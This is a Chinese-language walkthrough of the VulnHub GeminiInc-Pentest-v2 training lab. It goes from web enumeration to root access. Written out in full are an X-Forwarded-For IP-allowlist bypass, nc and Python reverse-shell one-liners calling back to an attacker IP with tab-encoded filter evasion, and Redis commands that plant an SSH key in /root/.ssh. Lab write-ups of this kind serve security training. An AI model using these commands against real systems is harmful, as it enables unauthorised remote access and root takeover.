VnlnHub GeminiInc-Pentest-v2
字数 1932 2025-08-11 23:26:41
GeminiInc-Pentest-v2 靶场渗透测试教学文档
靶场概述
GeminiInc-Pentest-v2 是一个模拟真实环境的渗透测试靶场,包含Web应用漏洞、权限提升等多个安全挑战点。靶场下载地址:https://download.vulnhub.com/geminiinc/Gemini-Pentest-v2.zip
环境搭建
- 下载并解压靶场文件
- 使用VMware导入.ovf虚拟机文件
- 网络模式设置为NAT模式(也可使用桥接模式,需与攻击机保持一致)
- 启动虚拟机
信息收集
网络扫描
- 确定靶机IP(假设攻击机IP为192.168.52.147,靶机为192.168.52.155)
- 使用nmap扫描开放端口:
发现开放服务:nmap -sV 192.168.52.155- 22/tcp - SSH服务
- 80/tcp - HTTP服务
Web应用渗透
初步侦察
-
访问Web界面(http://192.168.52.155)
- 默认以Guest用户身份访问
- 发现登录页面
- 尝试默认凭证admin/1234失败
- userlist页面为空
-
目录枚举:
- 发现/export.php - 输出为PDF的页面(文档属性为空)
- 发现/registration.php - 注册页面
- 发现/activate.php - 激活页面
用户注册与激活码爆破
-
注册新用户
- 注册后显示"账号未激活,请输入六位激活码"
- 查看myprofile页面,URL中包含用户ID
-
激活码爆破流程:
- 使用Burp Suite抓取激活请求
- 发现请求中包含动态token(每次响应返回新token)
- 配置Burp Intruder:
- 使用Grep功能提取每次响应中的token
- 设置线程为1(避免并发导致token混乱)
- 禁用失败重试
- 成功爆破出六位激活码
管理员账户获取
-
登录后查看userlist:
- 发现管理员账户:9emin1
- 其他用户信息可修改但无法越权操作
-
密码获取:
- 在用户详情页面源码中发现password标签(SHA1加密值)
- 通过已知密码(admin123:12345)确认加密方式为SHA1
- 使用在线工具解密9emin1的SHA1值获得明文密码
管理员功能绕过
-
以9emin1登录后发现更多功能但显示"IP NOT ALLOWED"
-
绕过IP限制:
- 添加请求头:
X-Forwarded-For: 127.0.0.1 - 成功绕过IP白名单限制
- 添加请求头:
-
发现功能:
- General Settings(常规设置)
- Execute Command(命令执行)
命令执行与反弹Shell
初始尝试
-
尝试直接执行反弹shell命令:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.52.147 4444 >/tmp/f- 执行失败,存在过滤机制
-
测试过滤规则:
ls可执行ls -l失败 → 空格被过滤- 使用
%09(Tab)代替空格成功
绕过过滤
-
修改反弹shell命令(空格替换为%09):
rm%09/tmp/f;mkfifo%09/tmp/f;cat%09/tmp/f|/bin/bash%09-i%092>&1|nc%09192.168.52.147%094444%09>/tmp/f- 仍失败,存在额外过滤
-
尝试Python反弹shell:
python%09-c%09'import%09socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.52.147",4444));os.dup2(s.fileno(),0);%09os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%09pty;%09pty.spawn("/bin/bash")'- 仍失败
-
最终解决方案:
- 上传nc到/tmp目录
- 赋予执行权限:
chmod +x /tmp/nc - 使用nc建立连接
获取稳定Shell
-
使用Python升级shell:
python -c 'import pty; pty.spawn("/bin/bash")' -
发现过滤规则文件:
/path/to/blacklist.txt(包含被过滤的字符/命令)
权限提升
初始尝试
-
sudo提权:
- 需要密码,无法直接利用
-
SUID提权:
- 查找SUID文件:
find / -perm -4000 2>/dev/null - 未发现可利用的常见SUID程序(nmap, vim, find等)
- 查找SUID文件:
Redis服务利用
-
发现本地开放6379端口(Redis)
- Redis以root身份运行
-
获取Redis凭证:
- 查看配置文件
6379.conf,发现认证密码
- 查看配置文件
-
连接Redis:
- 由于shell不完整导致乱码,需建立新shell连接
- 使用nc监听5555端口并建立新连接
-
Redis信息收集:
- 发现包含SSH私钥的值(疑似root用户)
SSH密钥利用
-
尝试使用发现的私钥登录:
- 保存私钥并设置权限:
chmod 600 id_rsa - 尝试登录失败(仍需密码)
- 保存私钥并设置权限:
-
通过Redis写入SSH公钥:
- 在攻击机生成密钥对:
ssh-keygen - 格式化公钥文件:
(echo -e "\n\n"; cat authorized_keys; echo -e "\n\n") > pub.txt - 通过Redis导入公钥:
cat pub.txt | redis-cli -h 192.168.52.155 -x set crack redis-cli -h 192.168.52.155 config set dir /root/.ssh/ config set dbfilename "authorized_keys" save - 使用SSH密钥成功登录root账户
- 在攻击机生成密钥对:
总结
本靶场渗透测试流程包含:
- Web应用信息收集与枚举
- 激活码爆破(带动态token)
- SHA1密码破解
- IP限制绕过
- 命令执行绕过(空格过滤)
- Redis未授权访问利用
- 通过Redis写入SSH公钥实现权限提升
关键学习点:
- 动态token的爆破技巧
- Web应用过滤机制的绕过方法
- Redis服务的权限提升技术
- 通过系统服务获取root权限的多种途径